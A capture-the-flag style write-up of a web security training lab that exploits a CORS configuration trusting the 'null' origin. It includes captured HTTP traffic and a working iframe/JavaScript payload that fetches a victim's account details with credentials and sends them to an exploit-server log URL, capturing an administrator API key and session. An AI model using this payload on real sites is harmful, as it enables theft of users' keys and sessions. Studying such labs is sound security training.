CORS vulnerability with trusted null origin

Description

This website has an insecure CORS configuration in that it trusts the "null" origin.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.

You can log in to your own account using the following credentials: wiener:peter

Approach

First, I turned on the FoxyProxy extension to proxy all requests through Burp Suite and started navigating the site after logging in as the user "wiener." In Burp Suite's HTTP History, I noticed an interesting request:

GET /accountDetails HTTP/2
Host: 0a73009403638d628020e4d8003600eb.web-security-academy.net
Cookie: session=zTWYQzkbxsSyzP2yXkY80wUxu37WJ19l
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
...

This was the response:

HTTP/2 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "y4F2ULzp734mmfeaVlkf44FzHvte45Tq",
  "sessions": [
    "zTWYQzkbxsSyzP2yXkY80wUxu37WJ19l"
  ]
}

The Access-Control-Allow-Credentials header caught my attention as it indicates the use of CORS. To confirm this, I added the Origin header to the request and sent it:

GET /accountDetails HTTP/2
Host: 0a73009403638d628020e4d8003600eb.web-security-academy.net
Origin: https://ichyaboy.hacker
Cookie: session=zTWYQzkbxsSyzP2yXkY80wUxu37WJ19l
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
...

Nothing changed, and the Access-Control-Allow-Origin header wasn't present in the response, indicating that the provided origin isn't allowed to access the resources on this website. However, when I tried a null origin, I did get that header in the response, which indicates that requests with Origin: null are allowed to access the resources on this website:

GET /accountDetails HTTP/2
Host: 0a73009403638d628020e4d8003600eb.web-security-academy.net
Origin: null
Cookie: session=zTWYQzkbxsSyzP2yXkY80wUxu37WJ19l
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
...

the response was:

HTTP/2 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "y4F2ULzp734mmfeaVlkf44FzHvte45Tq",
  "sessions": [
    "zTWYQzkbxsSyzP2yXkY80wUxu37WJ19l"
  ]
}

This means that in my exploit, the request needs to have null as an origin. To achieve that, I used a sandboxed iframe cross-origin request:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0a73009403638d628020e4d8003600eb.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='https://exploit-0a70005804c98aa18023fcfa01fc005e.exploit-server.net/log?key='+this.responseText;
};
</script>"></iframe>

The use of a data: URL in conjunction with the iframe's sandbox attribute naturally results in the Origin header being null. The exploit will be an iframe containing JavaScript code that accesses the vulnerable website with the origin set to null. Since the Access-Control-Allow-Credentials: true header is already set in the response, it means that the response will be session-based, so the victim's cookies and session will be used, and the response will contain their information.

By simply clicking "Store" and "Deliver exploit to victim" and accessing the log, I could see a URL-encoded request. When decoded in Burp Suite's Decoder, the data was as follows:

{  "username": "administrator",  "email": "",  "apikey": "nu9dz2km44RiUaSzHfTAX9lJ1AEdAaMm",  "sessions": [    "XZwRdJr8lZeiAvhqSLL9aSybCAinKcm9"  ]}

By submitting the API key of the administrator, the lab is solved.